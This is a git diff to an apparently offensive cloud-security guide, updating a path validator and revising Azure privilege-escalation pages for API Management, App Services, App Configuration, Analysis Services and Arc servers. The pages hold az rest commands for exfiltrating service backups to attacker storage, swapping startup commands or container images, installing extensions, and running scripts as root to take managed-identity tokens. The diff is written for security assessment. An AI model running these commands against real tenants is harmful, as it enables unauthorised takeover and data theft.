diff --git a/.github/workflows/validate-privilege-escalation-paths.yml b/.github/workflows/validate-privilege-escalation-paths.yml index d2a81e8327..c6acf19f55 100644 --- a/.github/workflows/validate-privilege-escalation-paths.yml +++ b/.github/workflows/validate-privilege-escalation-paths.yml @@ -3,6 +3,8 @@ on: pull_request: paths: - 'src/privilege-escalation-paths/**' + - 'src/privilege-escalation-paths-cspm-reviewed/**' + - 'src/privilege-escalation-paths-research/**' - 'scripts/privesc_paths_schema.py' - 'scripts/validate_privesc_paths.py' - '.github/workflows/validate-privilege-escalation-paths.yml' @@ -10,6 +12,8 @@ on: branches: [master] paths: - 'src/privilege-escalation-paths/**' + - 'src/privilege-escalation-paths-cspm-reviewed/**' + - 'src/privilege-escalation-paths-research/**' - 'scripts/privesc_paths_schema.py' - 'scripts/validate_privesc_paths.py' workflow_dispatch: @@ -25,3 +29,5 @@ jobs: python-version: '3.12' - run: python -m pip install PyYAML - run: python scripts/validate_privesc_paths.py --book-root . + - run: python scripts/validate_privesc_paths.py --book-root . --catalog-path src/privilege-escalation-paths-cspm-reviewed + - run: python scripts/validate_privesc_paths.py --book-root . --catalog-path src/privilege-escalation-paths-research diff --git a/scripts/test_validate_privesc_paths.py b/scripts/test_validate_privesc_paths.py index ea5a02a09d..c0f4e6cd38 100644 --- a/scripts/test_validate_privesc_paths.py +++ b/scripts/test_validate_privesc_paths.py @@ -21,3 +21,14 @@ def test_source_errors_checks_techniques_and_exclusions(tmp_path): assert any('scopescloud-platform' in error for error in errors) assert any('discover-secrets-in-etcd' in error for error in errors) assert any('not-a-heading' in error for error in errors) + + +def test_source_errors_preserves_angle_brackets_in_inline_code(tmp_path): + page = tmp_path / 'src' / 'page.md' + page.parent.mkdir() + page.write_text('## Pivot via ``\n', encoding='utf-8') + catalog = tmp_path / 'src' / 'privilege-escalation-paths' / 'azure' + catalog.mkdir(parents=True) + (catalog / '_excluded.yaml').write_text( + '- source: src/page.md#pivot-via-send-request\n', encoding='utf-8') + assert source_errors(tmp_path, catalog.parent) == [] diff --git a/scripts/validate_privesc_paths.py b/scripts/validate_privesc_paths.py index ba58317f1c..786d95f269 100644 --- a/scripts/validate_privesc_paths.py +++ b/scripts/validate_privesc_paths.py @@ -21,6 +21,8 @@ import yaml PATH = 'src/privilege-escalation-paths' +CATALOG_PATHS = (PATH, 'src/privilege-escalation-paths-cspm-reviewed', + 'src/privilege-escalation-paths-research') PROVIDERS = ('aws', 'gcp', 'azure', 'k8s') FILE_NAME = re.compile(r'^_?[a-z0-9][a-z0-9_.-]*\.yaml$') ROOT_EXTRAS = re.compile(r'^(README\.md|[A-Za-z0-9_.-]+\.schema\.json)$') @@ -31,6 +33,8 @@ def heading_slug(title): """Use the same heading slug rules as the Blue-CloudPEASS source audit.""" title = re.sub(r'\[([^\]]*)\]\([^)]*\)', r'\1', title) + # Angle brackets inside inline code are literal operation names, not HTML tags. + title = re.sub(r'`([^`]*)`', lambda match: match.group(1).replace('<', '').replace('>', ''), title) title = re.sub(r'<[^>]+>', '', title).strip().lower() return ''.join(ch if ch.isalnum() or ch in '_-' else '-' if ch.isspace() else '' for ch in title) @@ -102,9 +106,11 @@ def main(): parser.add_argument('--book-root', type=Path, default=Path('.')) parser.add_argument('--peaso-root', type=Path, help='optional Blue-CloudPEASS checkout to compare the loader and exported schema') + parser.add_argument('--catalog-path', choices=CATALOG_PATHS, default=PATH, + help='catalog directory to validate (default: current reviewed paths)') args = parser.parse_args() book = args.book_root.resolve() - root = book / PATH + root = book / args.catalog_path spec = importlib.util.spec_from_file_location('privesc_paths_schema', book / 'scripts/privesc_paths_schema.py') schema = importlib.util.module_from_spec(spec) spec.loader.exec_module(schema) diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-analysis-services-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-analysis-services-privesc.md index d3186061e2..e2d7bfa329 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-analysis-services-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-analysis-services-privesc.md @@ -24,7 +24,7 @@ The structural fact that makes it an escalation target: **there is no Analysis S **Minimum permissions:** `Microsoft.AnalysisServices/servers/write` on the target server (Contributor/Owner — no AS-specific role exists). -**Potential Impact:** the attacker appends their own identity to `properties.asAdministrators.members`, becoming a **server (and therefore database) administrator**. They then connect to `asazure:///` over XMLA/DAX and **read and export every tabular model** on the server — the full BI dataset, bypassing any per-model security roles and row-level security. Escalates from control-plane RBAC to complete BI data access. +**Potential Impact:** the attacker adds a user or service principal they control in the server's Microsoft Entra tenant to `properties.asAdministrators.members`, becoming a **server (and therefore database) administrator**. A managed identity cannot sign in to Azure Analysis Services, so control of only a managed identity does not establish this data-plane access without another usable principal. Once the server is running and reachable, the new administrator can connect over XMLA/DAX and **read and export hosted tabular models**, bypassing per-model security roles and row-level security. Escalates from control-plane RBAC to BI data access. **Stealth:** **High** for the exfil — the XMLA reads hit only the off-by-default `Engine`/`Service` logs. The `servers/write` that grants access is control-plane and logged, but the read itself is not. diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md index 12320e2fa8..af5c7db4db 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md @@ -12,9 +12,9 @@ For more information about API Management access: The permission strings below are Azure RBAC operations for the `Microsoft.ApiManagement` resource provider. Their documented effects are used to distinguish read, secret-retrieval, write, and network-configuration capabilities.[[1]](#references) -## `Microsoft.ApiManagement/service/users/token/action` +## `Microsoft.ApiManagement/service/users/generateSsoUrl/action` -**Minimum permissions:** `Microsoft.ApiManagement/service/users/token/action` +**Minimum permissions:** `Microsoft.ApiManagement/service/users/generateSsoUrl/action` on the selected user. **Potential Impact:** Generates an SSO URL with a token that logs in as a chosen developer-portal user, inheriting that user's API subscriptions and portal visibility (not an Azure control-plane token; unavailable on Consumption tier). @@ -27,6 +27,14 @@ az rest --method POST \ The portal session inherits that user's API subscriptions and visibility; it is not an Azure control-plane token. The operation is unavailable on the Consumption tier. See [User - Generate SSO URL](https://learn.microsoft.com/en-us/rest/api/apimanagement/user/generate-sso-url?view=rest-apimanagement-2024-05-01). +## `Microsoft.ApiManagement/service/users/token/action` + +**Minimum permissions:** `Microsoft.ApiManagement/service/users/token/action` on the selected user. + +**Potential Impact:** Returns a user shared-access token that may sign in as that developer-portal user, with access to the user's API subscriptions and portal visibility. + +Microsoft documents using this token with `/signin-sso` on a self-hosted developer portal and in a delegated sign-in flow to a managed developer portal. This operation is separate from `generateSsoUrl/action`; it does not authorize the `generateSsoUrl` ARM route. See [Get Shared Access Token](https://learn.microsoft.com/en-us/rest/api/apimanagement/user/get-shared-access-token?view=rest-apimanagement-2024-05-01), [developer portal SSO FAQ](https://learn.microsoft.com/en-us/azure/api-management/developer-portal-faq#how-do-i-enable-single-sign-on-sso-authentication-to-self-hosted-developer-portal), and [delegated sign-in](https://learn.microsoft.com/en-us/azure/api-management/api-management-howto-setup-delegation#delegating-user-registration-and-sign-in). +
Logs generated @@ -689,6 +697,8 @@ az rest --method PUT \ --body '{"properties":{"format":"rawxml","value":"@((string)context.Variables[\"mi\"])"}}' ``` +Azure RBAC may grant policy editing on one API rather than the whole APIM service. A child-scoped grant reaches the service identity only through a policy on that API or one of its operations; a product-scoped grant similarly applies to that product. The policy still has to run on a request, and its token must be delivered to the editor or a destination they control. See [APIM role-based access control](https://learn.microsoft.com/en-us/azure/api-management/api-management-role-based-access-control) and [managed identity security considerations](https://learn.microsoft.com/en-us/azure/api-management/api-management-howto-use-managed-service-identity#security-considerations-for-managed-identities). + > [!NOTE] > Scope the policy to a single obscure operation and revert it after collecting the token to minimize the config-diff window. @@ -790,9 +800,9 @@ az rest --method PUT \
## `Microsoft.ApiManagement/service/tenant/deploy/action` — bulk config overwrite via built-in Git -**Minimum permissions:** `Microsoft.ApiManagement/service/tenant/deploy/action` (and/or `service/tenant/save/action`). Built-in role **API Management Service Contributor**. Requires the built-in Git configuration repository to be enabled on the target service + Git credentials (obtainable via the documented `tenant/listSecrets` gitAccess). +**Historical permissions:** `Microsoft.ApiManagement/service/tenant/deploy/action` and `service/tenant/save/action` were used with the built-in Git configuration repository. -**Potential Impact:** APIM's built-in Git configuration repository lets `tenant/save` snapshot live config into Git and `tenant/deploy` **push a whole Git branch's configuration live in one action** — policies across all scopes, named values, backends, products. An attacker with Git write access plus `deploy` performs mass policy injection / backdoor persistence across the entire service atomically, and a single logged event masks sweeping changes.[[22]](https://learn.microsoft.com/en-us/azure/api-management/api-management-configuration-repository-git) +**Current status:** Microsoft retired built-in Git configuration save and deploy on 15 March 2025. These permission names must not be treated as an active path for changing policies or reaching an APIM managed identity. Before retirement, a principal with Git write access and `tenant/deploy` could publish a branch's APIM configuration, including policies. Use current policy-write permissions to assess that identity path. See [Microsoft's retirement notice](https://learn.microsoft.com/en-us/azure/api-management/breaking-changes/git-configuration-retirement-march-2025).
Logs generated @@ -825,9 +835,9 @@ az rest --method PUT \
## `Microsoft.ApiManagement/service/backup/action` — full-service exfiltration to attacker storage -**Minimum permissions:** `Microsoft.ApiManagement/service/backup/action` (built-in role **API Management Service Contributor**). Sibling `service/restore/action` = overwrite/rollback tamper. +**Minimum permissions:** `Microsoft.ApiManagement/service/backup/action` (built-in role **API Management Service Contributor**). The separate `service/restore/action` restores an APIM-created backup over the service. -**Potential Impact:** Backs up the **entire APIM service** — APIs, policies, products, groups, users, subscriptions (with keys), certificates and named values — into an **attacker-specified Azure Storage container** (the call body takes the target `storageAccount`/`containerName` + SAS or MI). One call exfiltrates the whole secret-bearing configuration to attacker-controlled storage, sidestepping per-resource `listSecrets` enumeration entirely. `restore/action` conversely re-imports a tampered backup, overwriting live config (bulk persistence / destructive tamper).[[17]](https://learn.microsoft.com/en-us/rest/api/apimanagement/api-management-service/backup?view=rest-apimanagement-2024-05-01) +**Potential Impact:** Backs up the **entire APIM service** — APIs, policies, products, groups, users, subscriptions (with keys), certificates and named values — into an **attacker-specified Azure Storage container** (the call body takes the target `storageAccount`/`containerName` and either a storage access key or APIM managed identity). One call exfiltrates the whole secret-bearing configuration to attacker-controlled storage, sidestepping per-resource `listSecrets` enumeration entirely. `restore/action` can overwrite live configuration with a valid APIM-created backup whose policies were already changed. An arbitrary edited backup blob is not established as restorable.[[17]](https://learn.microsoft.com/en-us/rest/api/apimanagement/api-management-service/backup?view=rest-apimanagement-2024-05-01)
Logs generated diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-configuration-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-configuration-privesc.md index 6a9716aa1f..fc1db77f05 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-configuration-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-configuration-privesc.md @@ -192,6 +192,8 @@ For store deletion and purge, see [App Configuration post exploitation](../az-po **Potential Impact:** a snapshot is an **immutable, point-in-time capture of every matching key-value** in one object. With catch-all filters, `snapshots/write` can capture the entire store (all app secrets, endpoints, connection material, and feature flags); otherwise it captures only the selected key/label subset. `snapshots/read` returns the captured data. Because [snapshots are immutable and can only be created or archived](https://learn.microsoft.com/en-us/azure/azure-app-configuration/concept-snapshots), a created snapshot is also a **loot-persistence primitive**: deleting or rotating live values does not modify the captured copy. +A privilege-escalation path exists only when a named, readable snapshot actually contains a still-usable credential for an identified, more privileged principal. Snapshot read permission or a secret-looking key name alone does not establish that path. A Key Vault reference exposes its URI, not the referenced secret. + **Stealth:** medium — the snapshot object lingers and is visible to anyone listing snapshots, but its creation/read over the data plane is not in the Activity Log. > [!WARNING] diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md index 4ffc9d112b..043120f724 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md @@ -16,7 +16,7 @@ For more information about App Services access: **Potential Impact:** Direct code execution through the Kudu/SCM command surface where that endpoint is available. Linux App Service can additionally expose an SSH session when the app is running; custom containers must be configured for SSH. Any `root` shell is root **inside the app container**, not on the Azure worker host. Escalation to Azure permissions is conditional on a managed identity being attached to the app. -These actions authorize the production or deployment-slot Kudu/SCM surface. Where the Kudu command API is exposed, network-reachable, and supported by the target host, it executes an arbitrary command and returns its output.[[1]](#references)[[2]](#references)[[3]](#references)[[32]](#references) +These actions authorize the production or deployment-slot Kudu/SCM surface. Where the Kudu command API is exposed, network-reachable, and supported by the target host, it executes a command in the Kudu environment and returns its output. On Linux, Kudu is a separate container; use a supported main-container execution or code-deployment route before claiming access to the app's managed identity. Linux Function Apps on Consumption and Flex plans do not offer Kudu Advanced Tools.[[1]](#references)[[2]](#references)[[3]](#references)[[32]](#references) ```bash # Production: Microsoft.Web/sites/publish/action @@ -37,7 +37,7 @@ az rest --method POST \ The additional read permissions `Microsoft.Web/sites/basicPublishingCredentialsPolicies/read`, `Microsoft.Web/sites/config/read`, and `Microsoft.Web/sites/read` help normal CLI/portal workflows but are not substitutes for the publish action. > [!TIP] -> The Kudu `/api/command` endpoint executes commands under the application identity when authorized by `Microsoft.Web/sites/publish/action`. Code in an app with managed identity can use `IDENTITY_ENDPOINT` and `IDENTITY_HEADER` to request its ARM token. Kudu command availability depends on the host plan and configuration; basic publishing credentials can also authenticate when enabled. +> The Kudu `/api/command` endpoint runs commands in the Kudu environment when authorized by `Microsoft.Web/sites/publish/action`. On Linux, `az webapp exec` can target the main app container where its managed identity token endpoint is available. Kudu and the app container are separate environments, and main-container access requires a running app, a usable shell, and SCM network access. Basic publishing credentials can also authenticate when enabled. On a running **Linux** App Service, the same permission can also provide an SSH session. Built-in Linux images support the documented SSH path; custom containers must explicitly configure SSH, and some apps therefore will not expose it.[[1]](#references)[[2]](#references)[[3]](#references)[[46]](#references) @@ -153,6 +153,8 @@ Remember that to access the SCM platform from the **web you need to access to `< - If you see that those credentials are **REDACTED**, it's because you **need to enable the SCM basic authentication option** and for that you need the second permission (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`).[[1]](#references)[[4]](#references)[[7]](#references) +The write permission must apply to the same app's `basicPublishingCredentialsPolicies/scm` child, and a publishing-credential read permission must apply to that app as well. Permission on the `ftp` child alone does not enable SCM deployment. If SCM basic authentication is already enabled, only the credential-read route is needed. An Azure Policy that denies enabling SCM basic authentication can still prevent the policy change. + ```bash # Enable basic authentication for SCM az rest --method PUT \ @@ -194,6 +196,8 @@ az rest --method PUT \ Just having valid SCM credentials it's possible to **publish code** to the App service. This can be done using the following command.[[4]](#references)[[8]](#references) +For a permission-derived path, `publishxml/action` or `config/list/action` must apply to the **same app** as the target managed identity, and that app's `basicPublishingCredentialsPolicies/scm` resource must have `allow=true`. A disabled or unread SCM policy is not evidence that these credentials can deploy through SCM. The SCM endpoint must also be reachable and the deployed package must run as app code; custom-container apps need separate proof that this deployment route changes the running image or code. + For this python example you can download the repo from https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart, do any **changes** you wish and then **zip it running: `zip -r app.zip .`**.[[8]](#references)[[25]](#references) Then you can **publish the code** in a web app with the following command:[[8]](#references) @@ -324,6 +328,10 @@ These actions prove execution of existing code, not permission to upload or repl These permissions allow to **assign a managed identity** to the App service, so if an App service was previously compromised this will allow the attacker to assign new managed identities to the App service and **escalate privileges** to them.[[1]](#references)[[11]](#references) +For an RBAC-only path, the same existing app must also be one where the caller can run or deploy code (for example through Kudu publish access or a writable deployment/configuration surface). A Function host key can invoke existing functions but does not by itself let the caller supply code. Microsoft's Managed Identity Operator role uses `Microsoft.ManagedIdentity/userAssignedIdentities/*/assign/action`; the assignment must cover the exact identity being attached. + +The caller can also create an app with that identity when they can write sites in the chosen resource group and join a usable App Service plan in the same subscription. A code deployment or configuration route on the new site is still needed before its identity can be used. + ```bash az webapp identity assign --name --resource-group --identities /subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/ ``` @@ -548,7 +556,7 @@ az rest --method PUT \ \"properties\": { \"repoUrl\": \"${owned_repo}\", \"branch\": \"main\", - \"isManualIntegration\": true, + \"isManualIntegration\": false, \"isMercurial\": false, \"isGitHubAction\": false } @@ -561,7 +569,7 @@ az rest --method PUT \ \"properties\": { \"repoUrl\": \"${owned_repo}\", \"branch\": \"slot\", - \"isManualIntegration\": true, + \"isManualIntegration\": false, \"isMercurial\": false, \"isGitHubAction\": false } @@ -570,7 +578,7 @@ az rest --method PUT \ Without a role, each PUT returned HTTP 403 naming its respective action. -Build/runtime health and the victim's deployment settings affect reliability. A slot configured with `SCM_DO_BUILD_DURING_DEPLOYMENT=false` can copy the selected branch without an Oryx build. The action redirects deployment; it does not itself disclose private-repository credentials. +Build/runtime health and the app's deployment settings affect reliability. `isManualIntegration=false` enables continuous integration; `true` limits integration to manual deployment. A slot configured with `SCM_DO_BUILD_DURING_DEPLOYMENT=false` can copy the selected branch without an Oryx build. The action redirects deployment; it does not itself disclose private-repository credentials. For a custom-container app, changing the repository alone does not establish that the app will execute repository code. If resource enumeration is denied, recover an app name from its public DNS name, source code, deployment templates, CI configuration, logs, browser history, or prior inventory. Slot names often appear in release pipelines and commonly use names such as `staging`, `test`, or `production`. A public attacker-controlled repository needs no repository credential, and the fixed `sourcecontrols/web` suffix can be tried directly. @@ -593,6 +601,8 @@ If resource enumeration is denied, recover an app name from its public DNS name, These actions independently authorize replacing or creating a production or deployment-slot SiteContainer. Setting the main container's image and startup arguments gives direct code execution in the corresponding App Service workload; `Microsoft.Web/sites/write` and `Microsoft.Web/sites/config/write` are not required.[[1]](#references)[[33]](#references)[[34]](#references)[[35]](#references) +The target must be a Linux app already in SiteContainers mode (`LinuxFxVersion=sitecontainers`). A classic `DOCKER|...` app does not load a new SiteContainer until its mode is changed through a separate configuration permission. A writable sidecar child can also run attacker code in the app's shared environment; image pull, startup, and access to the managed identity endpoint remain necessary. Permission on one app's child does not affect an identity attached only to another app. + ```bash subscription_id='' resource_group='' @@ -650,6 +660,8 @@ If enumeration is denied, an app name from DNS, source code, deployment template **Potential Impact:** Rewrite site config — e.g. set the container image / `appCommandLine` / startup command, or enable remote debugging — so the app recycles into attacker-controlled execution → code execution as the app's managed identity. +The direct startup-command route applies to Linux apps, and an image swap needs a compatible container app. A Function App package URL is plan-dependent: Flex Consumption does not support `WEBSITE_RUN_FROM_PACKAGE`, and an App Service already running from a local ZIP cannot simply be migrated to a remote ZIP. Enabling remote debugging by itself does not establish code execution. Match the write permission to the same app that carries the identity, including the `config/web` or `config/appsettings` child used by the chosen route. + App Service application settings are exposed to the application as environment variables, and changing them restarts the app. If the existing startup command launches an affected interpreter, configuration write access can target the shared Python, Node.js, Ruby, Perl, Bash/zsh/fish, JVM, .NET, PHP, Lua, R, Julia, Erlang/Elixir, GNU Octave, or PowerShell startup matrix. Most variants require an attacker-controlled module/script/agent/configuration tree already readable by the app.[[3]](#references)[[27]](#references) ```bash @@ -710,7 +722,7 @@ az webapp config container set \ The strongest vectors, in rough order of "pure config, no file to stage" → "needs a staged payload file": -- **Startup command — `appCommandLine`** (in `siteConfig`; surfaced as `STARTUP_COMMAND`). A **direct shell/entrypoint override** set through the same `config/write`. Purely control-plane, no file to stage, runs at next start. This is the single strongest primitive. +- **Linux startup command — `appCommandLine`** (in `siteConfig`; surfaced as `STARTUP_COMMAND`). A **direct shell/entrypoint override** set through the same `config/write`. Purely control-plane, no file to stage, runs at next start. This is the strongest direct route on a compatible Linux app. - **Oryx build hooks (Linux) — `PRE_BUILD_COMMAND` / `POST_BUILD_COMMAND`** (aliases `*_SCRIPT_PATH`), gated by `SCM_DO_BUILD_DURING_DEPLOYMENT=1` / `ENABLE_ORYX_BUILD=1`. These run an **arbitrary inline shell command in the build (Kudu/Oryx) container** whenever a deployment/build is triggered. Runs as the build identity, which can still reach app settings/secrets. - **Container image swap (Web App for Containers) — `linuxFxVersion`** (e.g. `DOCKER|attacker/img:tag`, legacy `DOCKER_CUSTOM_IMAGE_NAME` + `DOCKER_REGISTRY_SERVER_URL/USERNAME/PASSWORD`). App Service pulls and runs an **attacker image** = full RCE by config write. `WEBSITES_PORT` / `WEBSITES_CONTAINER_START_TIME_LIMIT` are supporting enablers so a slow/attacker container passes health checks. - **Language-runtime loader hooks** (need a payload file reachable to the process — e.g. on the mounted content share — but do not disturb `appCommandLine`): @@ -752,9 +764,9 @@ az webapp config container set -g -n \ **Minimum permissions:** `Microsoft.Web/sites/siteextensions/write`. -**Potential Impact:** Install an attacker Kudu **site extension** (NuGet package whose `install.cmd` runs on the app, dropping ASPX into wwwroot) → code execution as the app's preserved system/managed identity. +**Potential Impact:** Install an attacker Kudu **site extension** (NuGet package whose `install.cmd` can change app content) → possible code execution as the app's preserved managed identity when the main app runs that content. -Kudu site extensions are NuGet packages whose `install.cmd` runs on the app. A blind install through the otherwise bodyless site-extension route wrote attacker ASPX into `wwwroot`; that code executed as the app's preserved system identity and returned a Key Vault-only canary. +Kudu site extensions are NuGet packages whose `install.cmd` runs in the installation context. A blind install through the otherwise bodyless site-extension route wrote attacker ASPX into `wwwroot`; the main app then ran that code as its preserved system identity and returned a Key Vault-only canary. This path requires a Windows code app, an attacker-controlled package available through the site's extension feed, and permission to install that package on the same app as the target identity. A role limited to one extension name needs evidence that the attacker controls that named package. ```bash az rest --method PUT \ @@ -781,6 +793,8 @@ az rest --method PUT \ The OneDeploy extension route accepts an attacker-controlled private-Blob ZIP as the replacement application. The deployed code ran as the target's preserved identity and returned the protected canary. +The relevant ARM child is the exact app's `extensions/onedeploy` resource. This package route also supports Flex Consumption Function Apps, even though their Kudu Advanced Tools are unavailable. For a custom-container app, writing a ZIP to the content share does not by itself prove that its image loads those files. A stopped app also needs to run before the replaced code can use its identity. + ```bash az rest --method PUT \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//extensions/onedeploy?api-version=2024-04-01" \ @@ -803,14 +817,14 @@ az rest --method PUT \ **Minimum permissions:** `Microsoft.Web/sites/restoreFromBackupBlob/action`. -**Potential Impact:** Restore the app from an attacker-supplied Blob-SAS backup (with `overwrite:true`) → replace the app's content/config with attacker code → code execution as the app's managed identity. +**Potential Impact:** Restore the app from a valid attacker-controlled backup (with `overwrite:true`) → replace the app's content/config with attacker code → possible code execution as the app's managed identity. -This action restores an App Service backup from a Blob SAS. +This action restores an App Service backup from a container SAS. The attacker needs a valid backup ZIP and its XML metadata, a compatible source and target OS, and an App Service plan that supports backup restore. Microsoft documents this feature for Basic, Standard, Premium, and Isolated App Service plans; Azure Functions supports backups on Dedicated plans. Editing a backup archive may make it invalid. Permission on a different app does not authorize restoring the app carrying the target identity. A custom-container app needs separate proof that restored content affects code the image runs. ```bash az rest --method POST \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//restoreFromBackupBlob?api-version=2024-04-01" \ - --body '{ "properties": { "storageAccountUrl": "https://.blob.core.windows.net//backup.zip?", "overwrite": true, "siteName": "" } }' + --body '{ "properties": { "storageAccountUrl": "https://.blob.core.windows.net/?", "blobName": "", "overwrite": true, "siteName": "" } }' ```
@@ -832,6 +846,8 @@ az rest --method POST \ Writing a **deployment slot's** configuration is scoped independently of production. A blind slot-config write set the target slot to an attacker-selected startup program/command; only that slot recycled into it, while production and a sibling slot stayed outside the exact role's scope. Useful when the attack should stay on a staging slot (which may still hold the same managed identity) or as a foothold before a slot swap. +For a slot-identity escalation, the permission must cover the exact slot carrying that identity, and the changed configuration must launch code in that slot. Publish, source-control and SiteContainer writes are separate code routes with their own deployment conditions. The slot's managed identity is configured independently of production. Reading a Function slot's host keys alone can invoke existing functions but does not establish control of arbitrary code or the slot identity. + ```bash az rest --method PUT \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//slots//config/web?api-version=2024-04-01" \ @@ -936,7 +952,7 @@ An attacker could try to access the **anonymous allowed endpoints** to bypass th **Minimum permissions:** `Microsoft.Web/sites/slotsswap/action` (a full swap typically also touches `sites/slots/write` / `sites/write` on the participating sites). The preview/read variant needs `Microsoft.Web/sites/applySlotConfig/action`. -**Potential Impact:** **Promote attacker code into production, or exfiltrate production's sticky secrets.** A swap exchanges the running code + non-sticky config between a staging slot and production. An attacker who staged malicious code in a slot (via any documented slot primitive — `slots/config/write`, `slots/publishxml`, slot sourcecontrols) **promotes it into production** with the swap action alone, gaining execution as the production app's managed identity. Conversely, `applySlotConfig`/swap-with-preview applies production's **slot-sticky app settings and connection strings** onto a source slot the attacker can read — exfiltrating production secrets without ever writing to production's config. (Slots require Standard tier or higher.)[[36]](#references) +**Potential Impact:** **Promote attacker code into production, or exfiltrate production's sticky secrets.** A swap exchanges the running code + non-sticky config between a staging slot and production. An attacker who can write code to a particular slot (for example, through `slots/publish/action`, a code-bearing `slots/config/write` change, or slot source control) and swap that same slot into production could run the code with the production app's managed identity. The site-level `sites/slotsswap/action` and slot-level `sites/slots/slotsswap/action` operations use different resource scopes. Conversely, `applySlotConfig`/swap-with-preview applies production's **slot-sticky app settings and connection strings** onto a source slot the attacker can read — exfiltrating production secrets without ever writing to production's config. (Slots require Standard tier or higher.)[[36]](#references) ```bash # Promote a backdoored staging slot into production diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-arc-enabled-servers-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-arc-enabled-servers-privesc.md index b6271cd7e3..17896513c1 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-arc-enabled-servers-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-arc-enabled-servers-privesc.md @@ -29,6 +29,8 @@ This bidirectionality is what makes Arc different from a plain Azure VM. The mos **Potential Impact:** executes an arbitrary script on the Arc machine through the Connected Machine agent (built in since agent v1.33, no extension install needed), running as **root on Linux / `NT AUTHORITY\SYSTEM` on Windows**. The command can be inline or fetched from a SAS blob, and output exfiltrated to attacker AppendBlobs or read back via `instanceView`. Because Arc targets machines **outside Azure's trust boundary**, this is code execution inside your own datacenter / other clouds. Once you have root/SYSTEM, immediately harvest the machine's managed-identity token (see below) to turn RCE into an Azure identity takeover. This mirrors the Azure VM Run Command but uses a **different RBAC namespace** (`Microsoft.HybridCompute/...` vs `Microsoft.Compute/...`) — detections written only for `Microsoft.Compute` miss it. +The write applies to a `machines//runCommands/` child. The machine must be connected with agent 1.33 or later. Arc's local extension allow/block lists can allow or deny `Microsoft.Cplat.Core/RunCommandHandlerLinux` or `Microsoft.Cplat.Core/RunCommandHandlerWindows`; monitor mode also blocks arbitrary scripts. A write grant limited to another machine's Run Command child does not provide this route. + ```bash az connectedmachine run-command create \ --name pwn --machine-name TARGET --resource-group RG \ @@ -54,9 +56,9 @@ az connectedmachine run-command create \ ## RCE + persistence via VM extensions (Custom Script) -**Minimum permissions:** `Microsoft.HybridCompute/machines/read` + `.../machines/extensions/read` + `.../machines/extensions/write` (delete/upgrade via `.../extensions/delete`, `addExtensions/action`, `UpgradeExtensions/action`; built-in: Azure Connected Machine Resource Administrator) +**Minimum permission for the extension PUT:** `Microsoft.HybridCompute/machines/extensions/write` on the target extension child (or an ancestor scope). CLI discovery can additionally use `machines/read` and `machines/extensions/read`. Delete and upgrade use separate actions; the Azure Connected Machine Resource Administrator role includes broad extension management. -**Potential Impact:** installing the **Custom Script Extension** (`Microsoft.Compute/CustomScriptExtension` on Windows, `Microsoft.Azure.Extensions/CustomScript` on Linux) downloads and runs an attacker-supplied script. The Arc extension manager runs as **Local System / root**, so any extension = SYSTEM/root code exec. Microsoft's own docs warn Custom Script "could be used by attackers to remotely execute commands." Other abusable extensions: **Hybrid Runbook Worker** (run Automation runbooks locally), the **Key Vault extension** (pull secrets/certs to disk), and **AADSSHLogin / AADLoginForWindows** (enable Entra login). Same managed-identity pivot as Run Command. +**Potential Impact:** installing the **Custom Script Extension** (`Microsoft.Compute/CustomScriptExtension` on Windows, `Microsoft.Azure.Extensions/CustomScript` on Linux) downloads and runs an attacker-supplied script as **Local System / root** by default. Microsoft's own docs warn Custom Script "could be used by attackers to remotely execute commands." The Arc machine must be connected, its extension manager enabled and in full mode, and local extension allow/block lists must permit Custom Script. Permission limited to a different existing extension child does not establish this route. Other extensions have different behavior and need their own assessment. Successful script execution can also expose the machine's managed identity through HIMDS. **Stealth:** **low** for the persistent artifact / **medium** for the initial exec — extensions are **durable resources** that persist across reboots and several **auto-upgrade** (re-invoking the handler = persistence), but they show up as a visible child resource and a logged `extensions/write` that lingers in the resource graph (unlike a deletable run command). "Installing an extension" is routine management traffic, so alerting is often absent. @@ -137,6 +139,8 @@ curl -s -H Metadata:true -H "Authorization: Basic $(cat "$KEY")" "$BASE" **Potential Impact:** Azure Arc's **Hybrid Connectivity** relays SSH/RDP to an Arc machine **through Azure with no inbound port open** on the target. `listCredentials` / `listManagedProxyDetails` return the relay access token and proxy details used to tunnel a session (`az ssh arc` / `az connectedmachine`), and `serviceConfigurations/write` can **enable the SSH service** (port 22) on the endpoint if it is not already exposed. Combined with valid local credentials or the Entra-login extension, this yields **interactive access to the Arc host** — an alternative to Run Command that lands you on the box (and thence the HIMDS token) via a normal SSH session. +For Entra administrator SSH, `Microsoft.HybridCompute/machines/loginAsAdmin/action` is a **DataAction on the machine**, while `Microsoft.HybridConnectivity/endpoints/listCredentials/action` is an **Action on that machine's `providers/Microsoft.HybridConnectivity/endpoints/default` extension resource**. The endpoint must have an SSH service configuration, and the Linux machine must have a 